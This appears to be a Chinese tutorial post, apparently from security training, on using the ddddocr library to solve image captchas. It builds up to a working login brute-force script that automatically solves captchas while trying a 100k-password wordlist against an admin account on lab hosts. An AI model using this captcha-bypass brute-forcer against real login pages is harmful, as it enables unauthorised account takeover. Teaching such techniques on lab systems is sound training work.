ddddocr库的基础使用
使用这个验证码作为识别时示例:
代码:
import ddddocr
ocr = ddddocr.DdddOcr() # 实例化ddddocr库
with open('1.jpg', mode='rb') as code: # 读取验证码图片,这里读取的是图片所有我们要讲模式设置为rb已二进制来读取
vcode = code.read()
res = ocr.classification(vcode) # 使用classification方法来识别验证码
print('识别结果为:' + res)
运行结果:
使用ddddor库结合requests进行登录测试
import ddddocr # 导入dddor库
import requests
ocr = ddddocr.DdddOcr() # 实例化ddddocr库,用来识别验证码
session = requests.Session() # 获取session,用来保持同一会话
session.get('http://192.168.10.200:8080/login.php') # 获取登录页面
reps = session.get('http://192.168.10.200:8080/vcode.php') # 获取验证码页面
filename = str(time.time()) + '.jpg' # 定义文件名
with open('./woniunote/image/' + filename, mode='wb') as file: # 将验证码图片下载到本地
file.write(reps.content)
print('验证码下载完成')
with open('./woniunote/image/' + filename, mode='rb') as code: # 读取验证码图片
vcode = code.read()
res = ocr.classification(vcode) # 识别验证码
print('识别结果为:' + res)
data = {'username': 'admin', 'password': 'admin123', 'verifycode': res}
result = session.post(url='http://192.168.10.200:8080/user/login.php', data=data)
print(result.text)
简洁代码内容:
import ddddocr
import requests
ocr = ddddocr.DdddOcr() # 实例化ddddocr库,用来识别验证码
session = requests.Session() # 获取session,用来保持同一会话
session.get('http://192.168.10.200:8080/login.php')
reps = session.get('http://192.168.10.200:8080/vcode.php') # 获取验证码页面
res = ocr.classification(reps.content) # 识别验证码
print('识别结果为:' + res)
data = {'username': 'admin', 'password': 'admin123', 'verifycode': res}
result = session.post(url='http://192.168.10.200:8080/user/login.php', data=data)
print(result.text)
运行结果:
验证码下载完成
识别结果为:bumt
login-pass
登录爆破代码
def login_blast():
url = 'http://192.168.10.14:8080/user/login.php' # 定义登录url
count = 0
with open('../dict/password-top100k.txt', encoding='utf-8') as file:
pw_list = file.readlines() # 按行读取字典内容
for password in pw_list:
ocr = ddddocr.DdddOcr() # 实例化ddddocr库,用来识别验证码
session = requests.Session() # 获取session,用来保持同一会话
session.get('http://192.168.10.14:8080/woniusales/') # 获取登录首页
reps = session.get('http://192.168.10.14:8080/woniusales/vcode.php') # 获取验证码页面
res = ocr.classification(reps.content) # 识别验证码
data = {'username': 'admin', 'password': password.strip(), 'verifycode': f'{res}'}
resp = session.post(url=url, data=data)
if 'login-fail' in resp.text:
pass
elif 'vcode-error' in resp.text:
pass
else:
print(f'疑似破解成功密码为:{password.strip()}')
break
count += 1
print(f'共计尝试{count}次')